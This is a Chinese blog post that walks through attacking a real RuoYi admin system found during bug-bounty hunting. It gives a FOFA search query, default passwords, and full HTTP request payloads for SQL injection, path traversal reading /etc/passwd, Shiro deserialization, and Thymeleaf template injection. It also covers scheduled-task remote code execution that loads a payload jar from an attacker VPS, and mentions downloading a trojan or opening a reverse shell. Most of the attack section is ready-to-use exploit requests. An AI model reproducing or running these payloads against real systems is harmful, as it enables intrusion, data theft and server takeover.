【漏洞挖掘】实战若依ruoyi框架

已于 2024-09-29 14:51:05 修改
阅读量1.6k 收藏 13
点赞数 27
分类专栏： SRC漏洞挖掘 文章标签： 安全测试 Web安全 SRC漏洞挖掘 rouyi框架
于 2024-09-29 12:57:25 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/lza20001103/article/details/142632884
版权

实战若依ruoyi框架

一、前言

最近在挖某src的时候，碰到了一套若依，本以为啥都没有，结果随手一测若依存在的历史漏洞基本都有。是通过很奇怪的信息收集方式找到这个站的，分享出来让大家看看。
在这里插入图片描述
老司机一看就明白了我在找什么，虽然说机会不大，但偏偏就让我遇到了。

二、ruoyi（若依）框架

若依（Ruoyi）框架是一款基于 Spring Boot 2.5.5、Spring Cloud 2020.0、OAuth2 与 JWT 鉴权等核心技术，同时也支持Spring Security、Apache Shiro 等多种安全框架，以及 Mybatis、JPA 等流行持久化框架，提供了许多常用的功能模块，包括系统管理、监控管理、任务调度、代码生成、文件上传、高德地图等功能的快速开发平台。
若依框架采用前后端分离的模式，基于Vue.js实现了前端UI框架，采用Feign作为服务调用，通过 Nacos 实现统一配置管理，是一款高效率、低封装、面向前端的开发框架。

fofa语句：app=“若依-管理系统”

三、ruoyi（若依）漏洞

前端存储账号密码
在这里插入图片描述
这个站进来是这样的，没错就是账号密码存储在前端，本来想试试弱口令的，这账号密码都摆着了，（狗头）
不过大家遇见若依一般是不会有这种情况的，下面是若依系统常见的弱口令：
admin/admin123
ry/admin123
ruoyi/admin123
识别若依框架也很简单，大概就长这样，如果验证码是简单计算，存在记住密码也可能是若依

在这里插入图片描述

1. SQL注入1

/system/role/list端点存在注入
POC：

POST /system/role/list HTTP/1.1
Host: ip:port
Content-Length: 179
sec-ch-ua: “Chromium”;v=“109”, “Not_A Brand”;v=“99”
Accept: application/json, text/javascript, /; q=0.01
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
sec-ch-ua-platform: “Windows”
Origin: http://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1/system/role
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: yourcookie
Connection: close

pageSize=&pageNum=&orderByColumn=&isAsc=&roleName=&roleKey=&status=&params[beginTime]=&params[endTime]=&params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))

在这里插入图片描述

2. SQL注入2

/system/dept/edit此接口存在SQL注入

POST /system/dept/edit HTTP/1.1
Host: ip:port
Content-Length: 111
sec-ch-ua: “Chromium”;v=“109”, “Not_A Brand”;v=“99”
Accept: application/json, text/javascript, /; q=0.01
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
sec-ch-ua-platform: “Windows”
Origin: http://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1/system/role
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: yourcookie
Connection: close

DeptName=1&DeptId=100&ParentId=12&Status=0&OrderNum=1&ancestors=0)or(extractvalue(1,concat((select user()))));#

在这里插入图片描述

3. SQL注入3

/system/role/export端点存在注入
poc：

POST /system/role/export HTTP/1.1
Host: ip:port
Content-Length: 75
sec-ch-ua: “Chromium”;v=“109”, “Not_A Brand”;v=“99”
Accept: application/json, text/javascript, /; q=0.01
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
sec-ch-ua-platform: “Windows”
Origin: http://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1/system/role
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: yourcookie
Connection: close

params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))

在这里插入图片描述

4. SQL注入4

/tool/gen/createTable端点
如果页面如下则可能存在漏洞
在这里插入图片描述
这里没有漏洞，我把poc放上来大家可以试试

POST
sql=CREATE table ss1 as SELECT//* FROM sys_job WHERE 1=1 union//SELECT//extractvalue(1,concat(0x7e,(select//version()),0x7e));

5. 后台任意文件读取

/common/download/resource?resource=/profile/…/…/…/…/Windows/win.ini

/common/download/resource?resource=/profile/…/…/…/…/etc/passwd

在这里插入图片描述

6. 任意文件读取2

漏洞影响：RuoYi<4.7.6

首先创建一个定时任务：

POST /monitor/job/edit HTTP/1.1
accept: /
user-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)
Cookie: JSESSIONID=6db3d8ea-2d5c-490e-9863-6ef864b99828
Host: 192.168.0.129:8088
Connection: close
Content-type: application/x-www-form-urlencoded
Content-Length: 187

jobId=4&updateBy=admin&jobName=beb528e3&jobGroup=DEFAULT&invokeTarget=ruoYiConfig.setProfile(‘/etc/passwd’)&cronExpression=0%2F10+++++%3F&misfirePolicy=1&concurrent=1&status=1&remark=

在这里插入图片描述

执行一边定时任务

POST /monitor/job/run HTTP/1.1
accept: /
user-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)
Cookie: JSESSIONID=6db3d8ea-2d5c-490e-9863-6ef864b99828
Host: 192.168.0.129:8088
Connection: close
Content-type: application/x-www-form-urlencoded
Content-Length: 7

jobId=4

在这里插入图片描述

下载任意文件，可获得前面读取的文件内容

GET /common/download/resource?resource=2.txt HTTP/1.1
accept: /
user-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)
Cookie: JSESSIONID=6db3d8ea-2d5c-490e-9863-6ef864b99828
Host: 192.168.0.129:8088
Connection: close

在这里插入图片描述

7. shiro反序列化

若依系统是使用了shiro的，所以可以直接当shiro来打。
在这里插入图片描述
在这里插入图片描述

直接一把梭哈
在这里插入图片描述

8. 后台定时任务RCE

由于若依后台计划任务处，对于传入的“调用目标字符串”没有任何校验，导致攻击者可以调用任意类、方法及参数触发反射执行命令。影响版本：RuoYi<4.6.2
1.下载exp
https://github.com/artsploit/yaml-payload
2.修改 AwesomeScriptEngineFactory.java文件，exec里改成要执行的命令
在这里插入图片描述

3.编译
javac src/artsploit/AwesomeScriptEngineFactory.java

jar -cvf yaml-payload.jar -C src/ .
在这里插入图片描述

就会生成一个.jar文件，放在vps上，开启一个http服务
python3 -m http.server 5555
在这里插入图片描述

然后回到若依后台，添加一个计划任务，这里直接用工具了
在这里插入图片描述

9. 后台计划任务2

漏洞影响：4.6.2 < Ruoyi < 4.7.2

这个版本采用了黑名单限制调用字符串

定时任务屏蔽 ldap 远程调用

定时任务屏蔽 http(s) 远程调用

定时任务屏蔽 rmi 远程调用

bypass：

org.yaml.snakeyaml.Yaml.load(‘!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL [“h’t’t’p://vps:8080/yaml-payload-for-ruoyi-1.0-SNAPSHOT.jar”] # 这里写自己的 vps
]]
]’)

10.thymeleaf 模板注入

漏洞影响：RuoYi <= v4.7.1

payload1:

POST /monitor/cache/getNames HTTP/1.1
accept: /
user-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)
Cookie: JSESSIONID=3fb3eab8-b052-4152-8dc4-3d1b182b2635
Host: 192.168.0.129:8088
Connection: close
Content-type: application/x-www-form-urlencoded
Content-Length: 219

cacheName=1&fragment=((${T (java.lang.Runtime).getRuntime().exec(“gnome-calculator”)}))

payload部分进行编码

POST /monitor/cache/getNames HTTP/1.1
accept: /
user-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)
Cookie: JSESSIONID=3fb3eab8-b052-4152-8dc4-3d1b182b2635
Host: 192.168.0.129:8088
Connection: close
Content-type: application/x-www-form-urlencoded
Content-Length: 219

cacheName=1&fragment=%28%28%24%7b%54%20%28%6a%61%76%61%2e%6c%61%6e%
67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%67%6e%6f%6d%65%2d%63%61%6c%63%75%6c%61%74%6f%72%22%29%7d%29%29

payload2:

POST /monitor/cache/getValue HTTP/1.1
accept: /
user-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)
Cookie: JSESSIONID=3fb3eab8-b052-4152-8dc4-3d1b182b2635
Host: 192.168.0.129:8088
Connection: close
Content-type: application/x-www-form-urlencoded
Content-Length: 219

cacheName=1&fragment=%28%28%24%7b%54%20%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%67%6e%6f%6d%65%2d%63%61%6c%63%75%6c%61%74%6f%72%22%29%7d%29%29

payload3:

POST /monitor/cache/getKeys HTTP/1.1
accept: /
user-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)
Cookie: JSESSIONID=3fb3eab8-b052-4152-8dc4-3d1b182b2635
Host: 192.168.0.129:8088
Connection: close
Content-type: application/x-www-form-urlencoded
Content-Length: 219

cacheName=1&fragment=%28%28%24%7b%54%20%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%67%6e%6f%6d%65%2d%63%61%6c%63%75%6c%61%74%6f%72%22%29%7d%29%29

在这里插入图片描述

在这里插入图片描述

11. jdbc template sql注入

把要执行的sql语句放入其中：

update sys_job set invoke_target=(select user()) where job_id=8;

进行十六进制编码

POST /monitor/job/edit HTTP/1.1
accept: /
user-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)
Cookie: JSESSIONID=86914e57-a41e-4a9a-b97f-ec4ad1873cb4
Host: 192.168.0.129:8088
Connection: close
Content-type: application/x-www-form-urlencoded
Content-Length: 317

jobId=8&updateBy=admin&jobName=2afeb72c&jobGroup=DEFAULT&invokeTarget=jdbcTemplate.execute(‘set @a8 = 0x757064617465207379735F6A6F622073657420696E766F6B655F7461726765743D2873656C656374207573657228292920207768657265206A6F625F69643D383B;’)&cronExpression=0%2F10+++++%3F&misfirePolicy=1&concurrent=1&status=1&remark=

在这里插入图片描述

重复执行定时任务，jobid保持一致

POST /monitor/job/run HTTP/1.1
accept: /
user-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)
Cookie: JSESSIONID=86914e57-a41e-4a9a-b97f-ec4ad1873cb4
Host: 192.168.0.129:8088
Connection: close
Content-type: application/x-www-form-urlencoded
Content-Length: 7

jobId=8

在这里插入图片描述

POST /monitor/job/edit HTTP/1.1
accept: /
user-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)
Cookie: JSESSIONID=86914e57-a41e-4a9a-b97f-ec4ad1873cb4
Host: 192.168.0.129:8088
Connection: close
Content-type: application/x-www-form-urlencoded
Content-Length: 194

jobId=8&updateBy=admin&jobName=5421bad7&jobGroup=DEFAULT&invokeTarget=jdbcTemplate.execute(‘prepare a8 from @a8;’)&cronExpression=0%2F10+++++%3F&misfirePolicy=1&concurrent=1&status=1&remark=

重复执行定时任务

POST /monitor/job/edit HTTP/1.1
accept: /
user-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)
Cookie: JSESSIONID=86914e57-a41e-4a9a-b97f-ec4ad1873cb4
Host: 192.168.0.129:8088
Connection: close
Content-type: application/x-www-form-urlencoded
Content-Length: 185

jobId=8&updateBy=admin&jobName=cc0439d8&jobGroup=DEFAULT&invokeTarget=jdbcTemplate.execute(‘execute a8;’)&cronExpression=0%2F10+++++%3F&misfirePolicy=1&concurrent=1&status=1&remark=

重复执行定时任务

访问

http://192.168.0.129:8088/monitor/job/detail/8

在这里插入图片描述

获取shell

两种方法

一、用wget下载木马执行命令，或者move到网站目录

二、直接反弹shell

四、ruoyi漏洞总结

若依识别

黑若依 :icon hash="-1231872293
绿若依 :icon hash="706913071”
body=" 请通过前端地址访 "
body=" 认证失败，无法访问系统资源 "
如果页面访问显示不正常，可添加默认访问路径尝试是否显示正常
/login?redirect=%2Findex
/xxx/login?redirect=%2Findex
图标和登录页面及验证码处的样式识别出若依

 

未授权访问
未授权接口查找： js 下面有个 app.xxxxxx(一些个字母数字).js，直接里面搜
baseurl 就有了，有的是全的 url，大多数是只给个 baseurl：prod-api，这类
的拼接就好。
之后在接口后拼接

 

 

 

没查到的情况下尝尝试拼接经典接口路径：
/prod-api/druid/login.html
/dev-api/druid/login.html
/api/druid/login.html
/admin/druid/login.html
/admin-api/druid/login.html
尝试弱口令进入后着重观察：
/druid/weburi.html
/druid/websession.html
在 URI 监控中存在大量接口路径，可通过未授权获取更多敏感信息在 session 中可获取
历史最近的 session 值，可用 session 进行替换实现登录系统。

 

Swagger 未授权： 在接口后面拼接经典路径：
/swagger-ui/index.html
/v2/api-docs
/v3/api-docs
Redis 未授权访问漏洞 ( 端口 : 6379)
若依会用到 mysql 和 redis 数据库， redis 数据库存在未授权访问
zookeeper 未授权访问漏洞 ( 端口 2181)
里面有可能也会出现 zookeeper 集群部署

 

shiro 反序列化漏洞
若依用到了 rememberMe 字段，如果默认 key 值未修改可实现 shiro 反序列化漏洞。

 

逻辑缺陷漏洞配合弱口令
若依有个特点，密码可能在前台直接显示，点击并能够成功登录
配合弱口令： admin/admin123 ry/admin123
Druid 经典弱口令： ruoyi/123456
admin/123456
admin/admin

 

炫彩@之星
关注
专栏目录
若依框架漏洞(若依管理系统漏洞)
计算机毕业论文源码，学生个人网页制作html源码。贴近用户做网络推广和互联网优化。
10-04 8382
若依管理系统是基于SpringBoot的权限管理系统,若依框架漏洞推荐使用zhzy的vulmap工具查看。 1.早期若依框架漏洞版本有反序列化漏洞 ，执行任意命令漏洞复现 祭出fofa大法，fofa语法如下 app="若依-管理系统" && body="admin" 利用工具检测漏洞 这里不提供，太多了，推荐使用zhzy的vulmap 利用poc执行任意命令 2后台登录若依管理系统后可以任意读取文件
【漏洞复现】若依系统后台SQL注入漏洞
晚风不及你
02-27 1511
若依系统（RuoYi）是一套基于SpringBoot的权限管理系统，核心技术采用Spring、MyBatis、Shiro，众多政府、企业采用它作为某些系统的权限管理后台，使用率较高。
RuoYi框架部分历史漏洞
carmi的博客
09-08 2086
RuoYi框架部分历史漏洞 生产环境搭建(代码审计) 项目地址：若依 (y_project) - Gitee.com 官方文档：RuoYi 项目构成 因为RuoYi框架是基于SpringBoot搭建的，所以我们启动项目时不用像SpringMVC那样去配置我们的服务器然后把项目放到服务器上启动。我们成功导入项目之后会生成一些文件夹存放对应的代码文件，每一个文件夹都代表着不同的功能。 ruoyi...
【漏洞复现】Ruoyi框架漏洞复现总结
最新发布
lza20001103的博客
09-29 1903
【漏洞复现】Ruoyi框架漏洞复现总结
漏洞复现-Ruoyi若依系列
aming小老弟
05-02 2万+
官方漏洞历史文档。
渗透测试--实战若依ruoyi框架
qq_53003652的博客
11-16 6021
最近在挖某src的时候，碰到了一套若依，本以为啥都没有，结果随手一测若依存在的历史漏洞基本都有。是通过很奇怪的信息收集方式找到这个站的，分享出来让大家看看。老司机一看就明白了我在找什么，虽然说机会不大，但偏偏就让我遇到了。
若依框架漏洞(若依管理框架漏洞复现)
计算机毕业论文源码，学生个人网页制作html源码。贴近用户做网络推广和互联网优化。
03-28 4611
若依框架是一个 Java EE 企业级快速开发平台，基于经典技术组合（Spring Boot、Apache Shiro、MyBatis、Thymeleaf、Bootstrap），内置模块如：部门管理、角色用户、菜单及按钮授权、数据权限、系统参数、日志管理、通知公告等。在线定时任务配置；支持集群，支持多数据源，支持分布式事务。若依框架漏洞默认口令漏洞早期若依框架漏洞版本有反序列化漏洞 ，执行任意命令,漏洞复现,祭出fofa大法，fofa语法如下
记一次若依框架和Springboot常见报错的实战漏洞挖掘
记录开发和安全学习过程中的点点滴滴
07-11 1649
又是摸鱼的一天,闲的没事,找个站玩玩,首先开局一个框,漏洞全靠扫,哦不对,全靠找.免责声明博文中涉及的方法可能带有危害性，仅供安全研究与教学之用，读者将其方法用作做其他用途，由读者承担全部法律及连带责任，文章作者不负任何责任.本次主要是对渗透测试中的一次实战进行记录,当然也是摸摸鱼的成果,主要是对若依常见的一些利用姿势和springboot的利用姿势做个总结
若依漏洞利用方式总结
RisunJan的博客
01-14 4767
声明：此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等（包括但不限于）进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。本文所提供的工具仅用于学习，禁止用于其他！！！
若依系统前后台漏洞大全
热门推荐
FY10033的博客
08-07 5万+
漏洞影响范围RuoYi
若依框架使用的log4j2.16.0，修复log4j漏洞log4j2下载最新log4j2.16.0下载
12-16
若依框架使用的log4j2.16.0，修复log4j漏洞log4j2下载最新log4j2.16.0下载
若依（ruoyi）框架包名修改器
12-28
《若依（ruoyi）框架包名修改器详解》 若依（Ruoyi）框架，作为国内广受欢迎的企业级Java快速开发平台，以其高效、便捷的特点深受开发者喜爱。然而，随着项目的深入，有时我们需要对项目的包名进行调整，以满足特定...
若依RuoYi框架剖析笔记，该笔记是在学习江南一点雨所录课程再结合自己的理解所写
02-18
《若依RuoYi框架剖析笔记》是基于江南一点雨的课程并结合个人理解整理而成，涵盖了项目改造、框架结构分析以及多个关键功能模块的深入探讨。以下将逐一解析这些知识点。 1、**项目改造**：首先，从源代码仓库获取...
若依框架（RuoYi-Cloud 微服务版本）
08-30
### 若依框架（RuoYi-Cloud 微服务版本）关键知识点解析 #### 一、若依框架简介 若依框架（RuoYi-Cloud微服务版本）是一款基于Spring Cloud Alibaba生态体系构建的微服务开发框架。该框架不仅支持模块化、组件化的...
修改若依（ruoyi）框架各种包名修改器，一键解决所有修改包名的问题~
03-16
若依（RuoYi）框架是一款广泛应用于企业级后台管理系统的开源Java框架，它提供了丰富的功能组件，如权限管理、工作流、报表等，帮助开发者快速构建企业级应用。在开发过程中，为了满足不同项目的需求，有时我们需要...
若依ruoyi框架修改验证码
renkai721的专栏
07-24 3022
ruoyi修改验证码，若依修改验证码，验证码修改，样式修改
漏洞挖掘 | ruoyi框架管理系统漏洞
2301_80127209的博客
04-01 5409
在挖src的时候，可以通过信息收集收集弱口令，然后通过后台弱口令进入后台：发现一个弱口令进去后：【魔方老师提醒才发现，这个蓝色的草丛其实可以大致判断是若依系统】看这界面，是不是很像ruoyi插件一看：前端vue.js加上登录的cookie rememberMe：【登录失败时bp抓包相应包有remeberMe=delete】得知登录为shiro框架八九不离十后台就是ruoyi框架的管理系统了。
若依漏洞综合利用工具
lza20001103的博客
09-11 1398
若依漏洞综合利用工具
若依框架 ruoyi-vue 微信
02-10
若依框架（Ruoyi）是一个基于Spring Boot和Vue.js的开源快速开发平台，它提供了一套完整的前后端分离的解决方案。Ruoyi框架的目标是简化企业级应用的开发，提高开发效率。 Ruoyi框架的特点包括： 1. 前后端分离：前端使用Vue.js进行开发，后端使用Spring Boot进行开发，实现了前后端的解耦。 2. 权限管理：提供了灵活的权限管理功能，可以对用户、角色、菜单等进行权限控制。 3. 代码生成：提供了代码生成器，可以根据数据库表结构自动生成前后端代码，减少重复劳动。 4. 定时任务：支持定时任务的配置和管理，可以方便地实现定时执行的业务逻辑。 5. 日志管理：提供了日志管理功能，可以对系统日志进行记录和查看。 6. 在线监控：提供了系统性能监控、在线用户监控等功能，方便管理员对系统进行监控和管理。 关于微信方面，Ruoyi框架并没有直接集成微信相关的功能，但可以通过自定义开发来实现与微信的交互。例如，可以使用微信开放平台的接口来实现用户登录、消息推送等功能。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

炫彩@之星

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值